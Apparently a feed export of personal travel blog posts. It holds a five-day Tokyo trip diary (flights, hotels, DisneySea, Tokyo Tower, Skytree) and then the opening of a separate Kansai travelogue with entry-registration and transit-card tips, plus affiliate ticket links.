Toyosu teamLab, Japan sim/eSim cards, Tokyo Warner Bros. Harry Potter Studio tickets, buy now, use now, Asakusa kimono experience, rickshaw rides, Asakusa houseboat, hedgehog cafe, Lake Kawaguchi day tour”Pre-Trip PreparationAlthough the Tokyo trip was the planned overseas arrangement, we only talked about it until the Kansai region plans were almost finalized. It was only then that we started planning and executing the Tokyo trip.JoytripmomentFor places I haven’t been to, I am still an ENFP spontaneous type, finding everywhere fresh and exciting; so I mainly took care of the general direction of flights, accommodations, and transportation; we decided on attractions based on where other travel companions wanted to go or where we felt like visiting at the moment.Joy, mainly handled by Sean & James, we planned to buy tickets in advance for Disneyland (Ocean), Yokohama Gundam, and Shibuya Sky; so we bought the tickets two weeks before departure. If you don’t buy them in advance, there won’t be any available slots on-site.This time, I brought the remaining Japanese yen from the last trip, around $60,000, and ended up with around $5,000 left. Because my Visa card couldn’t be used at a drugstore in Shinjuku, I had to pay over $10,000 in cash for cosmetics, and I decided to spend all the remaining cash. Also, I almost couldn’t return; when buying a ticket from Tokyo Station to Narita Airport, my card couldn’t be used, and I had to scramble to gather enough cash for the fare.Journey🛫Since this trip was only for 5 days and time was limited, we prioritized early departure and late return flights; we directly checked SkyScanner for flights with suitable timings.Taipei <-> Narita 6/7 EVA Air BR 184 08:00 TPE -> NRT 12:25 6/22 EVA Air BR 195 20:40 NRT -> TPE 23:20 Round trip: $17,086 There was a mistake here, you shouldn’t buy three plane tickets for one person, each person should buy their own ticket because using a credit card to purchase tickets will provide travel insurance. Later, I found out that flying from Songshan to Haneda wasn’t much more expensive and was more convenient Orz.Travel insurance: Done📲Similarly, purchase a 5-day unlimited data SIM card on KKDAY for about $500.🚈Same as the previous post, I used the Suica card directly on my iPhone, but my friend with an Android phone had to buy the Welcome Suica limited-time card (ask at Narita Airport, that’s the only option available).AccommodationSince this trip was only to Tokyo, I looked for a hotel where we could stay for four days without changing locations. As it was close to the travel date, there were no available rooms at the Tokyo branches of Toyoko Inn or APA; I had to search on Agoda for a hotel near the middle of Tokyo with access to train and subway stations.Hotel Villa Fontaine Grand Tokyo-Shiodome — 4 nightsLocated at Shiodome Station, providing direct access to Odaiba or Shinjuku.To go to other places, you need to walk to Shimbashi Station (about 10 minutes), and from Shimbashi to Tokyo Station is another 10 minutes (1-2 stops away).Reasonably convenient, reasonably priced, with good reviews. The room was clean, comfortable, and not too small. Since there were three of us, the room had two beds and a sofa bed (which was as comfortable as a regular bed).3 people total NT$23,894CHO Stay Capsule Hotel at Taoyuan Airport — Overnight on Day 0This trip was special because our flight was at 8 a.m., and we were all departing from Taipei. We needed to catch a 6 a.m. flight, so we had to leave home around 4-5 a.m. Considering the excitement of going out and the difficulty in falling asleep, we wouldn’t have gotten much rest.Therefore, a few days before the trip, we decided to stay overnight at the airport the night before. I found out that there was a capsule hotel at Taoyuan Airport, so we decided to give it a try!Location: On the south side of Terminal 2, 5th floor, right below Terminal 2 (about a 5-minute walk down)The rooms available were double rooms, triple rooms, quadruple rooms, and single beds (approximately 16 beds per room).When we booked, only single beds were available.1 person NT$1,500Departure on Day 0Basically, I unpacked the items I bought in the Kansai region, took out some clothes and essentials, repacked my suitcase, and then set off.Currently, you can’t check in for the airport express for the next day’s flight, so I had to carry my luggage to Terminal 2.Sean & Me & JamesUpon arriving at Terminal 2, I went straight to the departure hall on the third floor. From there, I found the location to the south side shopping mall observation deck (walk to the right at the end of the hall).Walk to the end and take the escalator up.At the top of the escalator, you’ll see the entrance to a Taiwanese-style hotel.Taoyuan Airport Capsule HotelAfter checking in, you can store your luggage and then go out to eat. Eating is not allowed in the rooms. Each of us received a tea bag upon check-in, which we could ask the front desk to brew. We sat at the bar counter near the door to drink it. They also provided towels for joining the membership on-site.Earplugs are available at the entrance for free.CorridorThe bathroom facilities were new, clean, and comfortable. There were two toilets, five shower rooms, two hairdryers (one Dyson), and shower gel and shampoo provided. Guests need to bring their own towels and toiletries.Men’s BathroomUpon entering, there is a luggage room on the left. The layout of the beds is as follows:Dormitory BedsEach bed had its own mirror, desk, lamp, curtain, and trash can. I slept on the top bunk, and the mattress was thick enough that I didn’t disturb the person on the bottom bunk when moving around.The translation of the Markdown content is as follows:The mattress is not only thick but also long enough, 176 CM, so sleeping is not a problem; the environment is clean, the lighting is warm, and the air conditioning is very comfortable; the only irresistible factor is that snoring from others can still be heard (so free earplugs are provided at the door).But I’m not afraid of noise, as long as it’s warm and relaxing, I can sleep well; so I slept until dawn, directly brushing my teeth and checking out at nearly 6 o’clock (slept full and satisfied, then went abroad). Fortunately, we had a reservation the night before, and when other guests wanted to check in on the spot, there were no more available spots.In the morning, leisurely enjoy the airport view:I thought it would be crowded at 8 am in the morning, but luckily there were hardly any people. If I had known, I would have slept in the capsule hotel until 7 o’clock and then come down!Waiting for BoardingThis time, the boarding gate required taking a shuttle bus (referred to as a shuttle bus by mainland netizens).It was hot and crowded, but I still made it to the boarding gate:Bye 🇹🇼Arrival at Narita AirportHey 🇯🇵Day 1 Shibuya, Parco, Shibuya SkyIt takes about 15 minutes to walk from the plane to the immigration hall, and by the time you actually pick up your luggage and go through customs, it’s already around 1 pm. When transferring to the Narita Express, I made a mistake at the beginning by swiping my Suica card at the entrance; it turned out that all seats on the Narita Express were reserved, so I had to exit, buy a ticket, and then re-enter the station (later I found out that you can apparently buy tickets directly at the platform machine inside the station).Later, I took the Narita Express departing at 2 o’clock to Tokyo Station.Enjoying the scenery along the way, when you can see the Tokyo Skytree, it means you’re almost there.After arriving at Tokyo Station, I transferred to the subway to Shimbashi Station, then found my way to Shiodome.The hotel is hidden inside an office building, very unique:At first, I thought I had walked into someone’s office building by mistake, but it turned out to be the hotel.Drop off luggage, take a rest:Hotel Villa Fontaine Grand Tokyo Shiodome (The video was filmed later and is a bit chaotic XD)Heading to ShibuyaYou must visit this intersection, reminiscent of the challengers of the border of the afterlife. — Alice in BorderlandShibuya Parco — Gokumoku-yaQueue up to taste the famous Gokumaru House around 5:30 PM, and after about 45 minutes of waiting, there will be seats available.I ordered the Kobe beef hamburger + Kobe beef steak + rice ice cream combo ($3,355 Japanese Yen):The staff helped set the doneness level to about 1 minute, and you have to flip it yourself on the iron plate to cook it to your preferred doneness.Gokumaru HouseHere, it is important to use two pairs of chopsticks; for hygiene, use the metal ones for cooking and the bamboo ones for eating, alternating between them. The Kobe beef steak is delicious, juicy, tender, and has no gamey taste 🤩; the hamburger is also good but a bit heavier.Shibuya Parco - Polar Bear Store for Self-DeprecationAccidentally bought some items.Shibuya - Shibuya SkyLuckily, Sean bought the tickets early; otherwise, we wouldn’t have been able to get in. KKday SHIBUYA SKY Observatory E-Ticket TokyoIt’s dark up there, a bit windy, and you can’t bring bags (lockers are provided).Apart from a bar in the corner, there are no other facilities or light pollution, making it great for taking photos and enjoying the night view.You probably need to make a separate reservation for the bar, and it has the same opening hours as the visit.Back at the hotel, it’s still sake, instant noodles, and snacks to end the dayThe tofu skin instant noodles are delicious.Day 2 - Yokohama Gundam, Odaiba, ShinjukuEarly the next morning, rushed to the 10 AM Gundam performance, took a train to Sakuragicho Station, then transferred to a cable car + walked to the Gundam Factory.Yokohama GundamThe weather is super nice!! [_KKday Japan Yokohama GUNDAM FACTORY YOKOHAMA & Yokohama Marine Tower Set Ticket_](https://www.kkday.com/zh-tw/product/149471-gundam-factory-yokohama-marine-tower-set-ticket-japan?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”} The Gundam performance lasted from 10 AM until noon, with different storylines for different sessions; however, since I’m not a Gundam fan, I just enjoyed the spectacle.But I have to say it’s very spectacular, the details, movements, and sounds are very delicate.There are also peripheral specialty stores inside, selling Gundam models and exclusive products.Sean’s Gundam Finished ProductBecause I’m not a Gundam fan, I just walked around, watched a few performances, and then left.OdaibaI headed to Odaiba, the tram from Shiodome to Odaiba is cool, along the way you can see the Fuji TV station and the whole view of Odaiba.Upon arriving at Odaiba, let’s first see the Statue of Liberty in Odaiba.It is 1/7 of the Statue of Liberty in New York, symbolizing the friendly relationship between Japan and France.A little further ahead, looking back, you can see the Fuji TV station that has been destroyed many times by Arale in Dr. Slump.A little further ahead, you can go to the mall to eat takoyaki and Taiwanese fried chicken?Takoyaki is average, too many octopus pieces make it greasy; the fried chicken is quite special, although it’s labeled as Taiwanese-style, it’s actually Japanese fried chicken (thin, boneless) coated with Taiwanese flour for frying. It’s different from Taiwanese fried chicken, but I still told the staff it’s delicious, and that I’m Taiwanese 🤣.I originally planned to buy clothes and shoes at the department store in Odaiba, but when I was close, I saw that the subway could go to Shinjuku; so I suddenly turned and headed to Shinjuku.ShinjukuStarted shopping around.Went to La Lebo to smell the Tokyo-exclusive scent of GAIAC No. 10.It feels light… woody… can’t really smell it. (But I still bought it on Day 4)In the end, I only bought clothes, pants, and cosmetics at the department store, and as the weather started to turn gloomy and rainy, I returned to the hotel.Ended the day with eatingHot dogs are delicious, and the fruit wine is good!Day 3 Tokyo DisneySeaWe set off early, and the weather was overcast and rainy in the morning. [_KKday Japan Tokyo Disney Resort Tickets Tokyo Disney Resort_](https://www.kkday.com/zh-tw/product/19252?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”} We bought tickets for DisneySea, not Disneyland. The beautiful castle is in Disneyland; to enter DisneySea, you need to take the park’s tram. After entering the park, we started drawing lots for performances or entry, but didn’t win any. In the end, we purchased front-row seats for the evening fireworks show “ Believe! ~Sea of Dreams~ “ (you can also watch it from the outside, the show is in the harbor public area).As the rain got heavier, we went to a roadside shop to buy Mickey raincoats:I personally think the quality and material are quite good, and there are cute Mickey or Minnie patterns (deep red) to choose from, and they are not expensive!! Luckily, it didn’t rain after noon!! I’m not a rain man!!Bought raincoats and headed straight to “ Toy Story Crazy Game House “:There were a lot of people, waited for about 100 minutes to get in:The game involves teams of 2 people (1 person can play with a computer) operating buttons to shoot and score with projection balloons, high fun factor, low excitement, suitable for couples or families.There is also Mr. Egghead’s interactive theater performance and a small souvenir shop nearby:Very cute hugging brother doll!!Next is “ Soaring: Fantastic Flight “, also a popular amusement facility:After queuing to enter, before the game starts, there will be scenes introducing the adventurer’s story, paintings hanging on the wall are actually high-resolution screens with animations and speech, very impressive!The theater, ball-shaped giant screen + 4D experience (seats will rise and move forward + air scents); the content is landscapes from around the world, for example, the great plains will have the scent of grass; very stunning, suitable for everyone! Here we bought the fast pass.After playing these two facilities, it was close to noon, so we started looking for food. Since the restaurants were full, we could only find snacks like pizza, chicken legs… etc.Just as we came out with food, the Harbor Show “ Colors of Christmas “ started:After eating, we started wandering around the souvenir shops in the park:After digesting, we started queuing for “ Journey to the Center of the Earth “:It takes about 90-100 minutes, just enough time to fully digest, otherwise it would be too exciting XDThe content is a replica of the movie “Journey to the Center of the Earth”, with impressive scenes and immersion; at the end, there will be acceleration and a slight descent (feeling of weightlessness), the excitement is stronger but not to the point of feeling weak in the legs, suitable for friends looking for a bit of excitement.After coming out, we went to the nearby “ 20,000 Leagues Under the Sea “ to relax:Not many people, the content is a simulated feeling of diving in a submarine (but it should be simulated), very low excitement, only suitable for young children.After sitting down, we continued to wander around and eat:Very cute but very sweet Mickey ice cream bars, and Anna Belle (Lena Belle).Continued to walk around and take pictures, the park is really big, just took some scenery shots, didn’t take any pictures of animated fantasy scenes:After reaching the end, we went to ride “ Indiana Jones Adventure: Temple of the Crystal Skull “:No deep-sea exploration adventure (no weightlessness and not that fast down), the content is an immersive scene from the movie Indiana Jones, personally I find it interesting and fun.Continuing to skim through:Also took the “ Disney Sea Ferry Route “ and “ Disney Sea Electric Railway “ because my feet were sore from walking, and the scenery along the way was nice; more inclined towards the transportation facilities within the park, without any special amusement effects.As the evening approached, started shopping and taking photos:Had to admit it was easy to go on a shopping spree because of many 40th-anniversary limited editions; also took photos with the Earth.Approaching the start time of the performance, started walking back to the harbor and sat on the ground upon entry.As mentioned earlier, we also purchased regular seats for viewing.The whole performance experience was very immersive, including music, projections (the volcano will erupt at the back!), lasers, fireworks, Disney Sea-related character plots… all combined very well, definitely worth staying until the end of the evening to watch the performance. After experiencing the whole day at Disney, my impression is that all the facilities are very immersive, not just simple amusement facilities, but aiming for visitors to immerse themselves in that character and scene; although not as thrilling as Universal, I find it very entertaining; the fireworks show at night is a must-see! There are many cute souvenirs, need to control your hands (stop shopping)! Ate random food, think it’s better to bring your own food from outside. If time allows, it’s better to spend two days on land and sea, the sea part lacks the dreamy castle and the parade on land QQOutside JR Maihama Station, there is still a last peripheral specialty store to shop at, took one last stroll before leaving reluctantly.After returning to the hotel, continued with the daily routine; today had soy sauce ramen, cantaloupe fruit juice (delicious!!), Akaya plum wine (delicious!!), and oolong shochu (tasteless, not good).Day 4 Tokyo Tower, Meiji Shrine, Le Labo, Kameari Ryotsu Police Box, Asakusa Kaminarimon, Tokyo SkytreeAfter a good night’s sleep, started thinking about today’s itinerary (crazy ENFP), the only thing everyone did together was Tokyo Skytree at night; in the morning, friends went to Akihabara, it was a day to explore Tokyo alone.Tokyo TowerLooking at the map, Shinbashi is not far from Tokyo Tower; decided to go there first.Upon leaving, found out that there was a serious subway accident causing delays, so decided to walk instead (about 20 minutes):Walking alone on the streets of Tokyo, it’s not too hot in June, enjoying the breeze.Encountered a vendor selling hot roasted sweet potatoes on the roadside.When approaching Tokyo Tower, passed by a park called “Tokyo Metropolitan Shiba Park⁩” and viewing the tower through the branches from here offers a unique perspective:Continuing down the mountain road, arrived at the base of Tokyo Tower. [_KKday Japan Tokyo Tokyo Tower Main Observatory Tokyo Tower E-Ticket_](https://www.kkday.com/zh-tw/product/12271-japan-tokyo-tower-observatory-e-ticket?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”} Upon entering the tower, purchased Top Deck tickets; besides being able to go up to the top of the tower, the ticket includes a guided tour (with Chinese audio) and a complimentary souvenir photo of the visit! (Great experience)The guided tour features interactive murals similar to those at Disneyland yesterday 😆, with two predecessors in conversation, discussing the construction of a iconic Japanese building, with the same architect having another work being the Tsutenkaku in Osaka.The morning view of Tokyo from above is nice, with the third image showing the Skytree to visit at night.Finally, a free commemorative photo of the successful tower climb!Meiji ShrineAfter visiting Tokyo Tower, checked the map and decided to head to Meiji Shrine.After getting off the subway, walked a long way (about 30 minutes) to reach Meiji Shrine.A special encounter was witnessing a traditional Japanese wedding ceremony happening at the shrine:Finished the visit at the main hall and left.Found Meiji Shrine to be more solemn and serious, while Asakusa Temple felt crowded with tourists.Next stop was the iconic Kameari - Kameari Park, where I wanted to see how it looks; on the way there, stopped by Le Labo in Omotesando for another sniff.LE LABO Aoyama StoreHonestly, I’m not that interested in Le Labo; I prefer Ormonde Jayne perfumes personally, and Le Labo gives me a mass-market packaging vibe.After a sniff, bought Another 13, a strong scent; and inevitably, also bought the Tokyo-exclusive Gaiac 10, both in 15ml as souvenirs.Le Labo perfumes are packaged and labeled on-site (takes about 15–20 minutes), allowing customization of your own label; I chose “ZhgChgLi” for 13, my personal favorite, and 10 represents Tokyo, asking the staff in broken English which one represents Japan, and he said ♨️ 😝.The prices for Le Labo in Japan are as shown, with an additional discount for tax exemption on 13.The Tokyo-exclusive Gaiac 10 is more expensive, costing $16,800 Japanese Yen after tax exemption.Kameari - Kameari ParkAfter shopping, continue to walk towards Kameari (Kameari is really far).As soon as you exit the station, there are statues of characters from the Ueno Police Station:Checked the map and went to Kameari Park near the back station for a stroll:It’s just an ordinary park, with many children playing soccer inside. There is a statue in a sitting position, covered with children’s belongings, so I didn’t take any photos.Checked online and found that there is a scene of the Ueno Police Station at the Ario department store nearby, so I continued walking (about 10 minutes):Upon entering, I was disappointed. It’s almost certain that the popularity of Ueno has declined (young people don’t watch it anymore…). Apart from the statues at the station exit, from the ordinary park in front to the so-called Ueno Police Station amusement park, only the set is left, and outside the set, it has been transformed into a playground (with claw machines).The saddest part was the gachapon machine at the entrance, with the eyes of the character broken and not repaired, giving a desolate feeling. In the end, I got a detective in hot pants from the machine and left feeling disappointed.Checked the map and took a bus to Asakusa, which is closer. It took about 15 minutes to check the route and walk to the bus stop:There were hardly any people or tourists on the way to the bus stop, and even Google Translate couldn’t translate the bus route; I had truly arrived in a non-touristy area.I made a mistake when boarding the bus because in Kyoto, you pay when you get off, so I stood there blankly after boarding the bus, not understanding Japanese. It wasn’t until a kind Japanese passenger said “pay pay” that I realized I had to swipe my card to pay at the front.The journey was quiet and comfortable, with Japanese drivers waiting for passengers to sit down and get up before starting the bus. We swayed all the way to Senso-ji Temple in Asakusa. KKday Tokyo Asakusa Rickshaw Tour Japan KKday Tokyo Kimono Rental Recommendation! Tokyo Asakusa Kimono ExperienceThere were so many tourists!! It was so crowded that I could only find angles to take photos.Continued walking towards Senso-ji Temple, there were just too many tourists. I didn’t plan to buy anything, just wanted to take a look around. Along the way, I found this bean shop unexpectedly delicious, so I bought some as souvenirs.After visiting Senso-ji Temple, there were still many people, so we took some photos and left.As it was getting close to evening, we started moving towards the Tokyo Skytree.Senso-ji Temple overlooking the Tokyo Skytree.Tokyo SkytreeSince it was still early, we continued to enjoy the scenery along the way. KKday Tokyo Skytree Observatory Advance Ticket JapanGetting closer, it kept getting bigger.After arriving at the Tokyo Skytree, we first strolled around the shopping mall inside, ordered a cup of Hokkaido strawberry ice cream to take a break.We didn’t buy tickets for the Top Deck at the Tokyo Skytree, only for the middle observation deck, entering at 7 p.m.When we first went up, it wasn’t dark yet, so we took a few casual photos:After sunset, we could overlook the entire night view of Tokyo, which was very beautiful.In the top left corner of the first picture is the distant Tokyo Tower; it was quite dark inside, and the glass reflected light making it difficult to take selfies.Managed to take one picture XDBefore leaving, we took one last look back.On the last night, we ate at an izakaya and took some photos of the night views along the way:Charcoal-grilled ChickenJapan’s weather turned bad today. It was unexpected to see the Tokyo Tower every day passing by Shiodome, along with special art installations. We finally stopped to appreciate it on the last day.Last Night’s Midnight SnackStill, Nissin noodles are delicious, especially with convenience store fried chicken 🤤! Bought melon juice a few days ago, and today bought strawberry juice, both were delicious; can’t remember the sake, so they were probably average.Day 5 National Diet Building, Imperial Palace, Tokyo Station, Return TripAfter waking up and storing our luggage, like Day 4, I casually explored Tokyo because my flight was in the evening, so I had most of the day to wander around, but the weather was gloomy and rainy.Remembering seeing a gachapon machine at the Tokyo Skytree yesterday with Japanese representative landmarks, I hadn’t seen the National Diet Building, so I headed in that direction.National Diet BuildingOne interesting thing was encountering a protest by Japanese extremists on the way.Driving a promotional vehicle near the Parliament House, loudly broadcasting, was stopped by the police who removed his loudspeaker; later, he accelerated through a red light to escape, with police everywhere, a bit scary.Passed by the Parliament House and saw the closed gate, so didn’t go in (seems like you can enter from the side gate for a visit?):Took a distant photo as a souvenir and then continued walking towards the Imperial Palace.Imperial PalaceThe Imperial Palace is really big; it took about 30 minutes just to walk from the outer entrance.After reaching the Tenshukaku, left as the Imperial Palace was not open for visitors that day.Took about another hour to walk back to Tokyo Station (could have taken the subway, but it’s only one or two stops; I like to walk around the streets and see the scenery).Tokyo StationAround noon, wandered around Tokyo Station; just to prove that I wouldn’t get lost, but too lazy to line up at the famous souvenir shops.Had tempura soba noodles for the last meal.Bought a large and a small bottle of sake from a liquor store to take back to Taiwan; the store clerk was also Taiwanese.Return TripAround 4 PM, went back to the hotel to pick up luggage and slowly made my way to Narita Airport.A glimpse of Shinbashi before leaving.Returned directly to Narita Airport from Shinbashi because of the schedule and plenty of time; took the Toei Asakusa Line Airport Express, which takes about 1 hour and 15 minutes to arrive; couldn’t use a card or Sucia to buy tickets, so at that moment, pooled together the ticket money for three people, almost couldn’t afford it.Arrived at the airport around 5:30, still early.After going through immigration, still had plenty of time, so grabbed a bite to eat and did some last-minute shopping at the duty-free shop.Found everything from Tanjirō to common souvenirs (Shiroi Koibito, banana cake, etc.) here, so just bought them here XDThe price of Tanjirō here is about the same as what I bought at Tokyo Station.Boarded the plane, Hey 🇹🇼:The weather in Japan was very bad, the flight was shaky (fish-eye effect), more thrilling than Disney’s rides, even had to stop dining at one point; luckily, safely arrived back in Taiwan.The customs clearance took about 12 minutes, and taking a taxi back to Taipei took about 1:30; taking a shower and going straight to bed, ending this journey.Afterword For insights into Japanese culture, please refer to the previous post “[Travelogue] 2023 Kansai & Kobe & Osaka & 🇯🇵 First Landing” The Japanese time notation is in a 30-hour system, where 25:00 represents 01:00 in the early morning, very cool. It’s really necessary to have at least around 10,000 Japanese Yen on hand to avoid situations where you can’t use a card or can’t swipe a Vias card. Thanks to my travel companions, Sean INFJ/James ISTJ, the planning masters; Sean is in charge of deciding which Disney attractions to visit first and which FastPasses are worth buying.The brainwashing song that kept playing after returning to Taiwan.KKday Promotion One-stop purchase for transportation, experiences, and tickets in the Tokyo area: “Disneyland tickets, SHIBUYA SKY Observatory electronic tickets, Tokyo-Narita Airport Keisei Railway tickets, Tokyo subway one-day pass, Tokyo Skytree tickets, Toyosu teamLab, Japan sim/eSim cards, Tokyo Warner Bros. Harry Potter Studio tickets, buy now, use now, Asakusa kimono experience, rickshaw, Asakusa houseboat, hedgehog cafe, Lake Kawaguchi day tour”More Travelogues [Travelogue] 2024 Second Visit to Kyushu 9-Day Free Travel, via Busan→Fukuoka Cruise Entry [Travelogue] 2023 Hiroshima Okayama 6-Day Free Travel [Travelogue] 2023 Kyushu 10-Day Solo Free Travel [Travelogue] 9/11 One-Day Flash Visit to Nagoya [Travelogue] 2023 Kansai 8-Day Free TravelFor any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Travelogue 2023 Kansai 8-Day Free and Easy Trip", "url": "/posts/76d66c2e34af/", "categories": "Travelogue", "tags": "Life, japan, kyoto, osaka, traveling", "date": "2023-07-07 20:13:20 +0800", "snippet": "[Travelogue] 2023 Kansai 8-Day Free and Easy TripRecord of an 8-day free and easy trip to Kyoto, Osaka, and Kobe in May 2023, including information on food, accommodation, and transportation.Prefac...", "content": "[Travelogue] 2023 Kansai 8-Day Free and Easy TripRecord of an 8-day free and easy trip to Kyoto, Osaka, and Kobe in May 2023, including information on food, accommodation, and transportation.PrefacePreviously, I have only been to two Southeast Asian countries, Sabah 🇲🇾 in 2019 and Bangkok 🇹🇭 in 2018, both on group tours.I really like the boundless blue sky and unrestrained freedom in Southeast Asia.ENFPAs an enthusiastic and impulsive ENFP who acts on a whim, the time between the proposal and departure of this trip was only two weeks. It all started when my friend Huang Xinping happened to have a career gap, and he, an INFJ complementing my ENFP personality, provided detailed planning while I offered enthusiastic direction. With this perfect harmony, we decided to embark on this journey on a whim.KKday Promotion One-stop purchase for experiences and tickets in the Kyoto area: “Kansai Airport KIX Airport Express Train Ticket (Hello Kitty), Amanohashidate Day Tour, JR Pass Kansai Area Pass, Arashiyama-Sagano Scenic Railway Ticket, Kyoto Tower, Kimono Rental, Professional Photography, eSim/Sim Card, Rickshaw, Kinkakuji Temple and Kiyomizu Temple Day Tour” One-stop purchase for experiences and tickets in the Osaka area: “Osaka Castle, Universal Studios Japan, Fast Track Entry, Osaka Area Pass, Kaiseki Cuisine, Shinsaibashi, Byodoin Temple Day Tour”Pre-trip PreparationLeisureSince everything was quite spontaneous, and we only planned to visit Universal Studios Osaka, we bought tickets online. However, due to the proximity to the travel date, all special tickets were sold out, and we had to settle for regular entry tickets. For popular attractions and theme parks in Japan, it’s really necessary to buy tickets in advance Orz. This time, we missed out on baseball tickets, and there were no tickets available on-site, so we could only do a day tour of the venue.For other attractions, temples, and journeys, we decided on the spot.It’s essential to have Japanese yen as most temple tickets, souvenirs, amulets, and some trams (if you want a seat) only accept cash.I exchanged $50,000 Japanese yen for this trip, and I had around $15,000 left at the end.Travel🛫With less than a month before departure, we quickly found a flight on SkyScanner that suited our spontaneous pace:Taipei <-> Kansai 5/22 EVA Air BR 130 13:35 TPE -> KIX 17:15 (actually delayed by over 1 hour, arrived in Japan at 18:40) 5/29 EVA Air BR 177 11:10 KIX -> TPE 13:05Round trip: $14,915It seems that since last year, the baggage check-in has changed to a combination of piece and weight system, with one piece per person weighing up to 23kg; additional charges apply for anything extra. Buying flight tickets with a credit card often includes travel insurance, so it’s recommended to purchase tickets separately for each individual and check the insurance coverage of the credit card, as some debit cards may not have it.You can also opt for additional travel insurance (medical, inconvenience, loss, accident, etc.) for around $1,500 for an 8-day trip.The Flight TrackerI recommend installing The Flight Tracker App to input flight information and track real-time flight details, including terminals, boarding gates, and baggage claim information. (It provides notifications for any changes, but it’s always best to rely on on-site information.)You can enable iOS Live Activity feature to track in real time a few hours before the plane takes off📲I directly bought an 8-day unlimited data SIM card from KKDAY for about $700; there is also an E-SIM version, but I prefer to switch physical SIM cards as I feel more secure. You can carry the SIM card (including the SIM card pin) with you, and switch to a Japanese SIM card on the plane after a safe landing Remember to turn on roaming after switching, and then restart your device Unlimited data in Japan may not be truly unlimited; it may be throttled after reaching a certain usage limit, please inquire with the seller for details; it is recommended to use Wi-Fi for video calls or streaming🚈You can use Sucia watermelon card directly on trains, subways, or buses; it is also accepted at some convenience stores and shops.For iPhone users, you can directly add a virtual Sucia card by going to “Wallet & Apple Pay” -> “Add Card” -> “Transit Card” -> “Japan” -> “Sucia”. To top up with a Master Card, I failed to top up with a Visa card; It is recommended to top up in Taiwan in advance, otherwise, you may find yourself unable to top up or receive SMS verification codes in Japan, rendering the card unusable.If you cannot use iPhone Sucia or Android; physical Sucia cards in Japan are currently out of stock, so you can only purchase the 28-day Welcome Suica limited-time watermelon card, which can be topped up and used, but it will become invalid after the expiration date and no refunds are available.Apple Watch also supports Suica (not interchangeable with iPhone), remember to set it up and top up in Taiwan beforehand.When using the iPhone transit card, you do not need to bring up the Apple Pay interface specifically when tapping; just take out your device and tap directly (it will wake up the interface automatically).AccommodationI mainly used Agoda to find places near train and subway stations.Kyoto 2 nights: Toyoko Inn Kyoto Shijo OmiyaToyoko Inn was recommended by friends from Northeast Asia, it is a chain hotel with high value for money and reliable quality, and it includes a Japanese-style breakfast (rice ball or curry rice).Due to booking late, only Toyoko Inn Shijo Omiya in Kyoto had available rooms; it is about 3 kilometers away from Kyoto Station:NT$3,844 for 2 personsOsaka 4 nights: APA Hotel Osaka UmedaDue to late booking, there were limited choices; we chose another chain hotel, APA, which is closer to the station but slightly more expensive; it does not include breakfast but has facilities such as a swimming pool, public baths, etc.It is about a 15-minute walk from Osaka Umeda Station:NT$21,459 for 2 personsPre-entry application (Fast track)No need to apply for a visa, no need to provide COVID vaccine/nucleic acid proof; after booking flights and accommodation, you can fill in the entry information on Visit Japan, and once your phone connects to the internet after landing, you can directly enter the country, if not pre-applied, you will have to fill out a paper form on the spot.1. Register: https://www.vjw.digital.go.jp/main/#/vjwpco001 account The password rules may not be what you are used to, so please remember it or write it down separately to avoid forgetting it when you need to use it upon entry in Japan2. Choose “Register for Entry/Return”3. Enter flight information for entryImage for illustration purposes onlyTravel Name: Customized for personal use4. Enter contact information in JapaneseImage for illustration purposes onlyI am entering the hotel information for the first day of stay, using Google to find the English version of the hotel address and hotel contact number (does not need to be too accurate, just not too far off, at least the hotel name should be correct).5. Log in to make a reservationImage for illustration purposes only6. Select “Return to Immigration and Customs Procedures” to continue filling out the information7. Select “Foreigner’s Entry Record”8. Fill out basic informationThe duration of stay includes arrival and departure, totaling 8 days.Complete the registration in the final step:9. Select “Return to Immigration and Customs Procedures” again to fill out “Customs Declaration Preparation”After filling out the basic information, keep selecting “No” until completing the registration:10. CompletionSteps upon entry: Connect to the internet, log in to the website Step 1, immigration inspection, find “Immigration Inspection Preparation” and select “Display QR Code” Scroll down to the bottom of the webpage to find “Display QR Code” Present your passport and QR code to the immigration officer (yellow code) Step 2, claim your luggage and exit customs, click on “Customs Declaration QR Code” (blue code)Scan your passport and this QR code at the self-service customs inspection machine, confirm, and you will have completed the entry process.Day 1 DepartureLog in to the airline’s website or email for online check-in, and you can directly add the ticket to Apple Pay for complete digitization.A1 Taipei Main Station Pre-check-inAs it is a noon flight, leave in the morning, arrive at the A1 Taipei Main Station of the Airport MRT at 9 o’clock for pre-check-in:Pre-check-in = Complete check-in + luggage inspection + baggage check at A1 Taipei Main Station (also available at A13 New Taipei Industrial Park); you can go through immigration directly at the airport without queuing at the counter.If coming from the MRT, remember not to go directly down the escalator to the Airport MRT, as pre-check-in is outside the Airport MRT.Restrictions: Only available for certain airlines, for details please refer to the official website Check-in and baggage drop-off must be completed 3 hours before the scheduled flight departure on the same dayService Hours: A1 Taipei Main Station 06:00~21:30 A3 New Taipei Industrial Park Station 09:00~16:00Going to the airport with empty hands to Terminal 2Remember to check the airport shuttle official website for direct shuttle schedules before heading out. It’s better to control the actual time to the airport; be sure to take the direct shuttle.Waiting for the flightLeaving too early + pre-boarding, there’s still nearly 3 hours after exiting before takeoff.Airport with few people at noonHaving Lin Dongfang beef noodles while waiting for the flightSurprisingly, there’s Xingbo Coffee!Due to a delayed landing, the takeoff was delayed by over an hour.Not sure if it’s because of pre-boarding, the ground staff announced our names during the waiting time to confirm our presence and boarding.Bye 🇹🇼After the plane landed, changed to a Japanese SIM card and connected to the internet, then logged into Vista Japan to complete the immigration and customs procedures.Heading to KyotoAfter clearing customs at Kansai Airport, we directly took the JR Kanku Special Rapid Service HARUKA to Kyoto Station, about 1.5 hours, with only a few stops along the way.It’s recommended to buy tickets at the ticket machine to ensure you have a seat.Seeing the iconic Kyoto Tower right after leaving the stationThen took a taxi to the hotel (didn’t take the bus because of luggage, otherwise there would be a bus available); combined with the flight delay, we arrived at the hotel around 9 pm on the first day.Toyoko Inn Kyoto Shijo OmiyaThere was a staff member at the hotel reception who spoke Chinese, so I asked her for advice on tomorrow’s itinerary for a smoother experience - very friendly and convenient!The room was cool, with two single rooms connected by a shared bathroom with a full-length mirror.Hanamaru Kaiten Sushi Seisakujo Omiya StoreIt was late, so after settling in at the hotel, we went out nearby to find something to eat and decided on a skewer restaurant.Plum Tea RiceStarting at 80 yen per skewer, fresh, delicious, and cheap! 